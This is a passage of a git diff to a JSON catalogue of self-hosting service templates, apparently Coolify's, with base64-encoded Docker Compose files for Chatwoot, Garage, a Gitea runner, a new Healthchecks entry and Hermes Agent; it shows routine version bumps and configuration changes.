F9QQVNTV09SRH0nCiAgICAgIC0gJ0FDVElWRV9TVE9SQUdFX1NFUlZJQ0U9JHtBQ1RJVkVfU1RPUkFHRV9TRVJWSUNFOi1sb2NhbH0nCiAgICBjb21tYW5kOgogICAgICAtIGJ1bmRsZQogICAgICAtIGV4ZWMKICAgICAgLSBzaWRla2lxCiAgICAgIC0gJy1DJwogICAgICAtIGNvbmZpZy9zaWRla2lxLnltbAogICAgdm9sdW1lczoKICAgICAgLSAncmFpbHMtZGF0YTovYXBwL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gImJ1bmRsZSBleGVjIHJhaWxzIHJ1bm5lciAncHV0cyBTaWRla2lxLnJlZGlzKCY6aW5mbyknID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncGd2ZWN0b3IvcGd2ZWN0b3I6cGcxMicKICAgIHJlc3RhcnQ6IGFsd2F5cwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotY2hhdHdvb3R9JwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUyAtZCBjaGF0d29vdCAtaCAxMjcuMC4wLjEnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6YWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBjb21tYW5kOgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAiJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMiJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUK", + "compose": "c2VydmljZXM6CiAgY2hhdHdvb3Q6CiAgICBpbWFnZTogJ2NoYXR3b290L2NoYXR3b290OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSByZWRpcwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0NIQVRXT09UXzMwMDAKICAgICAgLSBTRUNSRVRfS0VZX0JBU0U9JFNFUlZJQ0VfUEFTU1dPUkRfQ0hBVFdPT1QKICAgICAgLSAnRlJPTlRFTkRfVVJMPSR7U0VSVklDRV9GUUROX0NIQVRXT09UfScKICAgICAgLSAnREVGQVVMVF9MT0NBTEU9JHtDSEFUV09PVF9ERUZBVUxUX0xPQ0FMRX0nCiAgICAgIC0gJ0ZPUkNFX1NTTD0ke0ZPUkNFX1NTTDotZmFsc2V9JwogICAgICAtICdFTkFCTEVfQUNDT1VOVF9TSUdOVVA9JHtFTkFCTEVfQUNDT1VOVF9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vZGVmYXVsdEByZWRpczo2Mzc5JwogICAgICAtIFJFRElTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgIC0gJ1JFRElTX09QRU5TU0xfVkVSSUZZX01PREU9JHtSRURJU19PUEVOU1NMX1ZFUklGWV9NT0RFOi1ub25lfScKICAgICAgLSAnUE9TVEdSRVNfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotY2hhdHdvb3R9JwogICAgICAtICdQT1NUR1JFU19IT1NUPSR7UE9TVEdSRVNfSE9TVDotcG9zdGdyZXN9JwogICAgICAtIFBPU1RHUkVTX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdSQUlMU19NQVhfVEhSRUFEUz0ke1JBSUxTX01BWF9USFJFQURTOi01fScKICAgICAgLSAnTk9ERV9FTlY9JHtOT0RFX0VOVjotcHJvZHVjdGlvbn0nCiAgICAgIC0gJ1JBSUxTX0VOVj0ke1JBSUxTX0VOVjotcHJvZHVjdGlvbn0nCiAgICAgIC0gJ0lOU1RBTExBVElPTl9FTlY9JHtJTlNUQUxMQVRJT05fRU5WOi1kb2NrZXJ9JwogICAgICAtICdNQUlMRVJfU0VOREVSX0VNQUlMPSR7Q0hBVFdPT1RfTUFJTEVSX1NFTkRFUl9FTUFJTH0nCiAgICAgIC0gJ1NNVFBfQUREUkVTUz0ke0NIQVRXT09UX1NNVFBfQUREUkVTU30nCiAgICAgIC0gJ1NNVFBfQVVUSEVOVElDQVRJT049JHtDSEFUV09PVF9TTVRQX0FVVEhFTlRJQ0FUSU9OfScKICAgICAgLSAnU01UUF9ET01BSU49JHtDSEFUV09PVF9TTVRQX0RPTUFJTn0nCiAgICAgIC0gJ1NNVFBfRU5BQkxFX1NUQVJUVExTX0FVVE89JHtDSEFUV09PVF9TTVRQX0VOQUJMRV9TVEFSVFRMU19BVVRPfScKICAgICAgLSAnU01UUF9QT1JUPSR7Q0hBVFdPT1RfU01UUF9QT1JUfScKICAgICAgLSAnU01UUF9VU0VSTkFNRT0ke0NIQVRXT09UX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdTTVRQX1BBU1NXT1JEPSR7Q0hBVFdPT1RfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ0FDVElWRV9TVE9SQUdFX1NFUlZJQ0U9JHtBQ1RJVkVfU1RPUkFHRV9TRVJWSUNFOi1sb2NhbH0nCiAgICAgIC0gJ1NBRkVfRkVUQ0hfQUxMT1dfUFJJVkFURV9ORVRXT1JLPSR7U0FGRV9GRVRDSF9BTExPV19QUklWQVRFX05FVFdPUks6LWZhbHNlfScKICAgIGVudHJ5cG9pbnQ6IGRvY2tlci9lbnRyeXBvaW50cy9yYWlscy5zaAogICAgY29tbWFuZDogJ3NoIC1jICJidW5kbGUgZXhlYyByYWlscyBkYjpjaGF0d29vdF9wcmVwYXJlICYmIGJ1bmRsZSBleGVjIHJhaWxzIHMgLXAgMzAwMCAtYiAwLjAuMC4wIicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JhaWxzLWRhdGE6L2FwcC9zdG9yYWdlJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICctcScKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBzaWRla2lxOgogICAgaW1hZ2U6ICdjaGF0d29vdC9jaGF0d29vdDpsYXRlc3QnCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBvc3RncmVzCiAgICAgIC0gcmVkaXMKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9QQVNTV09SRF9DSEFUV09PVAogICAgICAtICdGUk9OVEVORF9VUkw9JHtTRVJWSUNFX0ZRRE5fQ0hBVFdPT1R9JwogICAgICAtICdERUZBVUxUX0xPQ0FMRT0ke0NIQVRXT09UX0RFRkFVTFRfTE9DQUxFfScKICAgICAgLSAnRk9SQ0VfU1NMPSR7Rk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0VOQUJMRV9BQ0NPVU5UX1NJR05VUD0ke0VOQUJMRV9BQ0NPVU5UX1NJR05VUDotZmFsc2V9JwogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0QHJlZGlzOjYzNzknCiAgICAgIC0gUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgICAgLSAnUkVESVNfT1BFTlNTTF9WRVJJRllfTU9ERT0ke1JFRElTX09QRU5TU0xfVkVSSUZZX01PREU6LW5vbmV9JwogICAgICAtICdQT1NUR1JFU19EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1jaGF0d29vdH0nCiAgICAgIC0gJ1BPU1RHUkVTX0hPU1Q9JHtQT1NUR1JFU19IT1NUOi1wb3N0Z3Jlc30nCiAgICAgIC0gUE9TVEdSRVNfVVNFUk5BTUU9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1JBSUxTX01BWF9USFJFQURTPSR7UkFJTFNfTUFYX1RIUkVBRFM6LTV9JwogICAgICAtICdOT0RFX0VOVj0ke05PREVfRU5WOi1wcm9kdWN0aW9ufScKICAgICAgLSAnUkFJTFNfRU5WPSR7UkFJTFNfRU5WOi1wcm9kdWN0aW9ufScKICAgICAgLSAnSU5TVEFMTEFUSU9OX0VOVj0ke0lOU1RBTExBVElPTl9FTlY6LWRvY2tlcn0nCiAgICAgIC0gJ01BSUxFUl9TRU5ERVJfRU1BSUw9JHtDSEFUV09PVF9NQUlMRVJfU0VOREVSX0VNQUlMfScKICAgICAgLSAnU01UUF9BRERSRVNTPSR7Q0hBVFdPT1RfU01UUF9BRERSRVNTfScKICAgICAgLSAnU01UUF9BVVRIRU5USUNBVElPTj0ke0NIQVRXT09UX1NNVFBfQVVUSEVOVElDQVRJT059JwogICAgICAtICdTTVRQX0RPTUFJTj0ke0NIQVRXT09UX1NNVFBfRE9NQUlOfScKICAgICAgLSAnU01UUF9FTkFCTEVfU1RBUlRUTFNfQVVUTz0ke0NIQVRXT09UX1NNVFBfRU5BQkxFX1NUQVJUVExTX0FVVE99JwogICAgICAtICdTTVRQX1BPUlQ9JHtDSEFUV09PVF9TTVRQX1BPUlR9JwogICAgICAtICdTTVRQX1VTRVJOQU1FPSR7Q0hBVFdPT1RfU01UUF9VU0VSTkFNRX0nCiAgICAgIC0gJ1NNVFBfUEFTU1dPUkQ9JHtDSEFUV09PVF9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnQUNUSVZFX1NUT1JBR0VfU0VSVklDRT0ke0FDVElWRV9TVE9SQUdFX1NFUlZJQ0U6LWxvY2FsfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYnVuZGxlCiAgICAgIC0gZXhlYwogICAgICAtIHNpZGVraXEKICAgICAgLSAnLUMnCiAgICAgIC0gY29uZmlnL3NpZGVraXEueW1sCiAgICB2b2x1bWVzOgogICAgICAtICdyYWlscy1kYXRhOi9hcHAvc3RvcmFnZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiYnVuZGxlIGV4ZWMgcmFpbHMgcnVubmVyICdwdXRzIFNpZGVraXEucmVkaXMoJjppbmZvKScgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwZ3ZlY3Rvci9wZ3ZlY3RvcjpwZzEyJwogICAgcmVzdGFydDogYWx3YXlzCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jaGF0d29vdH0nCiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkU0VSVklDRV9VU0VSX1BPU1RHUkVTIC1kIGNoYXR3b290IC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczphbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gJy1hJwogICAgICAgIC0gJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "chatwoot", "chat", @@ -1620,7 +1620,7 @@ "garage": { "documentation": "https://garagehq.deuxfleurs.fr/documentation/?utm_source=coolify.io", "slogan": "Garage is an S3-compatible distributed object storage service designed for self-hosting.", - "compose": "c2VydmljZXM6CiAgZ2FyYWdlOgogICAgaW1hZ2U6ICdkeGZscnMvZ2FyYWdlOnYyLjEuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIEdBUkFHRV9TM19BUElfVVJMPSRHQVJBR0VfUzNfQVBJX1VSTAogICAgICAtIEdBUkFHRV9XRUJfVVJMPSRHQVJBR0VfV0VCX1VSTAogICAgICAtIEdBUkFHRV9BRE1JTl9VUkw9JEdBUkFHRV9BRE1JTl9VUkwKICAgICAgLSAnR0FSQUdFX1JQQ19TRUNSRVQ9JHtTRVJWSUNFX0hFWF8zMl9SUENTRUNSRVR9JwogICAgICAtIEdBUkFHRV9BRE1JTl9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9HQVJBR0UKICAgICAgLSBHQVJBR0VfTUVUUklDU19UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9HQVJBR0VNRVRSSUNTCiAgICAgIC0gR0FSQUdFX0FMTE9XX1dPUkxEX1JFQURBQkxFX1NFQ1JFVFM9dHJ1ZQogICAgICAtICdSVVNUX0xPRz0ke1JVU1RfTE9HOi1nYXJhZ2U9aW5mb30nCiAgICB2b2x1bWVzOgogICAgICAtICdnYXJhZ2UtbWV0YTovdmFyL2xpYi9nYXJhZ2UvbWV0YScKICAgICAgLSAnZ2FyYWdlLWRhdGE6L3Zhci9saWIvZ2FyYWdlL2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2dhcmFnZS50b21sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2dhcmFnZS50b21sCiAgICAgICAgY29udGVudDogIm1ldGFkYXRhX2RpciA9IFwiL3Zhci9saWIvZ2FyYWdlL21ldGFcIlxuZGF0YV9kaXIgPSBcIi92YXIvbGliL2dhcmFnZS9kYXRhXCJcbmRiX2VuZ2luZSA9IFwibG1kYlwiXG5cbnJlcGxpY2F0aW9uX2ZhY3RvciA9IDFcbmNvbnNpc3RlbmN5X21vZGUgPSBcImNvbnNpc3RlbnRcIlxuXG5jb21wcmVzc2lvbl9sZXZlbCA9IDFcbmJsb2NrX3NpemUgPSBcIjFNXCJcblxucnBjX2JpbmRfYWRkciA9IFwiWzo6XTozOTAxXCJcbnJwY19zZWNyZXRfZmlsZSA9IFwiZW52OkdBUkFHRV9SUENfU0VDUkVUXCJcbmJvb3RzdHJhcF9wZWVycyA9IFtdXG5cbltzM19hcGldXG5zM19yZWdpb24gPSBcImdhcmFnZVwiXG5hcGlfYmluZF9hZGRyID0gXCJbOjpdOjM5MDBcIlxucm9vdF9kb21haW4gPSBcIi5zMy5nYXJhZ2UubG9jYWxob3N0XCJcblxuW3MzX3dlYl1cbmJpbmRfYWRkciA9IFwiWzo6XTozOTAyXCJcbnJvb3RfZG9tYWluID0gXCIud2ViLmdhcmFnZS5sb2NhbGhvc3RcIlxuXG5bYWRtaW5dXG5hcGlfYmluZF9hZGRyID0gXCJbOjpdOjM5MDNcIlxuYWRtaW5fdG9rZW5fZmlsZSA9IFwiZW52OkdBUkFHRV9BRE1JTl9UT0tFTlwiXG5tZXRyaWNzX3Rva2VuX2ZpbGUgPSBcImVudjpHQVJBR0VfTUVUUklDU19UT0tFTlwiIgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9nYXJhZ2UKICAgICAgICAtIHN0YXRzCiAgICAgICAgLSAnLWEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=", + "compose": "c2VydmljZXM6CiAgZ2FyYWdlOgogICAgaW1hZ2U6ICdkeGZscnMvZ2FyYWdlOnYyLjEuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIEdBUkFHRV9TM19BUElfVVJMPSRHQVJBR0VfUzNfQVBJX1VSTAogICAgICAtIEdBUkFHRV9XRUJfVVJMPSRHQVJBR0VfV0VCX1VSTAogICAgICAtIEdBUkFHRV9BRE1JTl9VUkw9JEdBUkFHRV9BRE1JTl9VUkwKICAgICAgLSAnR0FSQUdFX1JQQ19TRUNSRVQ9JHtTRVJWSUNFX0hFWF82NF9SUENTRUNSRVR9JwogICAgICAtIEdBUkFHRV9BRE1JTl9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9HQVJBR0UKICAgICAgLSBHQVJBR0VfTUVUUklDU19UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9HQVJBR0VNRVRSSUNTCiAgICAgIC0gR0FSQUdFX0FMTE9XX1dPUkxEX1JFQURBQkxFX1NFQ1JFVFM9dHJ1ZQogICAgICAtICdSVVNUX0xPRz0ke1JVU1RfTE9HOi1nYXJhZ2U9aW5mb30nCiAgICB2b2x1bWVzOgogICAgICAtICdnYXJhZ2UtbWV0YTovdmFyL2xpYi9nYXJhZ2UvbWV0YScKICAgICAgLSAnZ2FyYWdlLWRhdGE6L3Zhci9saWIvZ2FyYWdlL2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2dhcmFnZS50b21sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2dhcmFnZS50b21sCiAgICAgICAgY29udGVudDogIm1ldGFkYXRhX2RpciA9IFwiL3Zhci9saWIvZ2FyYWdlL21ldGFcIlxuZGF0YV9kaXIgPSBcIi92YXIvbGliL2dhcmFnZS9kYXRhXCJcbmRiX2VuZ2luZSA9IFwibG1kYlwiXG5cbnJlcGxpY2F0aW9uX2ZhY3RvciA9IDFcbmNvbnNpc3RlbmN5X21vZGUgPSBcImNvbnNpc3RlbnRcIlxuXG5jb21wcmVzc2lvbl9sZXZlbCA9IDFcbmJsb2NrX3NpemUgPSBcIjFNXCJcblxucnBjX2JpbmRfYWRkciA9IFwiWzo6XTozOTAxXCJcbnJwY19zZWNyZXRfZmlsZSA9IFwiZW52OkdBUkFHRV9SUENfU0VDUkVUXCJcbmJvb3RzdHJhcF9wZWVycyA9IFtdXG5cbltzM19hcGldXG5zM19yZWdpb24gPSBcImdhcmFnZVwiXG5hcGlfYmluZF9hZGRyID0gXCJbOjpdOjM5MDBcIlxucm9vdF9kb21haW4gPSBcIi5zMy5nYXJhZ2UubG9jYWxob3N0XCJcblxuW3MzX3dlYl1cbmJpbmRfYWRkciA9IFwiWzo6XTozOTAyXCJcbnJvb3RfZG9tYWluID0gXCIud2ViLmdhcmFnZS5sb2NhbGhvc3RcIlxuXG5bYWRtaW5dXG5hcGlfYmluZF9hZGRyID0gXCJbOjpdOjM5MDNcIlxuYWRtaW5fdG9rZW5fZmlsZSA9IFwiZW52OkdBUkFHRV9BRE1JTl9UT0tFTlwiXG5tZXRyaWNzX3Rva2VuX2ZpbGUgPSBcImVudjpHQVJBR0VfTUVUUklDU19UT0tFTlwiIgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9nYXJhZ2UKICAgICAgICAtIHN0YXRzCiAgICAgICAgLSAnLWEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=", "tags": [ "object", "storage", @@ -1666,7 +1666,7 @@ "gitea-runner": { "documentation": "https://github.com/go-gitea/gitea?utm_source=coolify.io", "slogan": "Gitea Actions runner for docker", - "compose": "c2VydmljZXM6CiAgcnVubmVyOgogICAgaW1hZ2U6ICdkb2NrZXIuaW8vZ2l0ZWEvcnVubmVyOjEuMC42JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0dJVEVBX0lOU1RBTkNFX1VSTD0ke0dJVEVBX0lOU1RBTkNFX1VSTH0nCiAgICAgIC0gJ0dJVEVBX1JVTk5FUl9SRUdJU1RSQVRJT05fVE9LRU49JHtHSVRFQV9SVU5ORVJfUkVHSVNUUkFUSU9OX1RPS0VOfScKICAgICAgLSAnR0lURUFfUlVOTkVSX05BTUU9JHtHSVRFQV9SVU5ORVJfTkFNRTotZ2l0ZWEtcnVubmVyfScKICAgICAgLSAnR0lURUFfUlVOTkVSX0xBQkVMUz0ke0dJVEVBX1JVTk5FUl9MQUJFTFM6LXVidW50dS1sYXRlc3Q6ZG9ja2VyOi8vbm9kZToyMn0nCiAgICAgIC0gJ0dJVEVBX1RPS0VOPSR7R0lURUFfVE9LRU59JwogICAgd29ya2luZ19kaXI6IC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdydW5uZXItZGF0YTovZGF0YScKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2snCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInBzIGF1eCB8IGdyZXAgJ1tSXXVubmVyJyA+IC9kZXYvbnVsbCB8fCBleGl0IDEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUK", + "compose": "c2VydmljZXM6CiAgcnVubmVyOgogICAgaW1hZ2U6ICdkb2NrZXIuaW8vZ2l0ZWEvcnVubmVyOjEuMC43JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0dJVEVBX0lOU1RBTkNFX1VSTD0ke0dJVEVBX0lOU1RBTkNFX1VSTH0nCiAgICAgIC0gJ0dJVEVBX1JVTk5FUl9SRUdJU1RSQVRJT05fVE9LRU49JHtHSVRFQV9SVU5ORVJfUkVHSVNUUkFUSU9OX1RPS0VOfScKICAgICAgLSAnR0lURUFfUlVOTkVSX05BTUU9JHtHSVRFQV9SVU5ORVJfTkFNRTotZ2l0ZWEtcnVubmVyfScKICAgICAgLSAnR0lURUFfUlVOTkVSX0xBQkVMUz0ke0dJVEVBX1JVTk5FUl9MQUJFTFM6LXVidW50dS1sYXRlc3Q6ZG9ja2VyOi8vbm9kZToyMn0nCiAgICAgIC0gJ0dJVEVBX1RPS0VOPSR7R0lURUFfVE9LRU59JwogICAgd29ya2luZ19kaXI6IC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdydW5uZXItZGF0YTovZGF0YScKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2snCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInBzIGF1eCB8IGdyZXAgJ1tSXXVubmVyJyA+IC9kZXYvbnVsbCB8fCBleGl0IDEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUK", "tags": [ "gitea", "actions", @@ -2007,6 +2007,24 @@ "minversion": "0.0.0", "port": "80" }, + "healthchecks": { + "documentation": "https://healthchecks.io/docs?utm_source=coolify.io", + "slogan": "Healthchecks is a cron job monitoring service. It listens for HTTP requests and email messages from your cron jobs and scheduled tasks.", + "compose": "c2VydmljZXM6CiAgaGVhbHRoY2hlY2tzOgogICAgaW1hZ2U6ICdoZWFsdGhjaGVja3MvaGVhbHRoY2hlY2tzOnY0LjInCiAgICBjb250YWluZXJfbmFtZTogaGVhbHRoY2hlY2tzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSEVBTFRIQ0hFQ0tTXzgwMDAKICAgICAgLSBEQj1zcWxpdGUKICAgICAgLSBEQl9OQU1FPS9kYXRhL2hjLnNxbGl0ZQogICAgICAtICdBTExPV0VEX0hPU1RTPSR7QUxMT1dFRF9IT1NUUzotKn0nCiAgICAgIC0gJ1JFR0lTVFJBVElPTl9PUEVOPSR7UkVHSVNUUkFUSU9OX09QRU46LVRydWV9JwogICAgICAtICdERUJVRz0ke0RFQlVHOi1GYWxzZX0nCiAgICAgIC0gJ1NFQ1JFVF9LRVk9JHtTRUNSRVRfS0VZOj8ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfSEVBTFRIQ0hFQ0tTfX0nCiAgICAgIC0gJ1NJVEVfUk9PVD0ke1NFUlZJQ0VfRlFETl9IRUFMVEhDSEVDS1N9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LWZpeG1lLWVtYWlsLWFkZHJlc3MtaGVyZX0nCiAgICAgIC0gJ0VNQUlMX0hPU1Q9JHtFTUFJTF9IT1NUOi1teS1zbXRwLXNlcnZlci1oZXJlLmNvbX0nCiAgICAgIC0gJ0VNQUlMX1BPUlQ9JHtFTUFJTF9QT1JUOi00NjV9JwogICAgICAtICdFTUFJTF9IT1NUX1VTRVI9JHtFTUFJTF9IT1NUX1VTRVI6LW15X3VzZXJuYW1lfScKICAgICAgLSAnRU1BSUxfSE9TVF9QQVNTV09SRD0ke0VNQUlMX0hPU1RfUEFTU1dPUkQ6LW15cGFzc3dvcmR9JwogICAgICAtICdFTUFJTF9VU0VfU1NMPSR7RU1BSUxfVVNFX1NTTDotVHJ1ZX0nCiAgICAgIC0gJ0VNQUlMX1VTRV9UTFM9JHtFTUFJTF9VU0VfVExTOi1GYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZWFsdGhjaGVja3MtZGF0YTovZGF0YScK", + "tags": [ + "monitoring", + "status", + "performance", + "web", + "services", + "applications", + "real-time" + ], + "category": "monitoring", + "logo": "svgs/healthchecks.webp", + "minversion": "0.0.0", + "port": "80000" + }, "heimdall": { "documentation": "https://github.com/linuxserver/Heimdall?utm_source=coolify.io", "slogan": "Heimdall is a dashboard for managing and organizing your server applications.", @@ -2024,7 +2042,7 @@ "hermes-agent-with-webui": { "documentation": "https://github.com/nesquena/hermes-webui?utm_source=coolify.io", "slogan": "Hermes Agent \u2014 autonomous AI agent with persistent memory, scheduling, and a self-hosted web chat UI.", - "compose": "c2VydmljZXM6CiAgaGVybWVzLWFnZW50OgogICAgaW1hZ2U6ICdub3VzcmVzZWFyY2gvaGVybWVzLWFnZW50OnNoYS0yNzNmZjVjNGE0N2FmNDQ5OWJiZTVlM2IxMTM5ZWZkMzEzOTk1NTU0JwogICAgY29tbWFuZDogJ2dhdGV3YXkgcnVuJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEVSTUVTX0hPTUU9L2hvbWUvaGVybWVzLy5oZXJtZXMKICAgICAgLSBIRVJNRVNfVUlEPTEwMDAKICAgICAgLSBIRVJNRVNfR0lEPTEwMDAKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnQU5USFJPUElDX0FQSV9LRVk9JHtBTlRIUk9QSUNfQVBJX0tFWX0nCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogICAgICAtICdHT09HTEVfQVBJX0tFWT0ke0dPT0dMRV9BUElfS0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hlcm1lcy1ob21lOi9ob21lL2hlcm1lcy8uaGVybWVzJwogICAgICAtICdoZXJtZXMtYWdlbnQtc3JjOi9vcHQvaGVybWVzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHR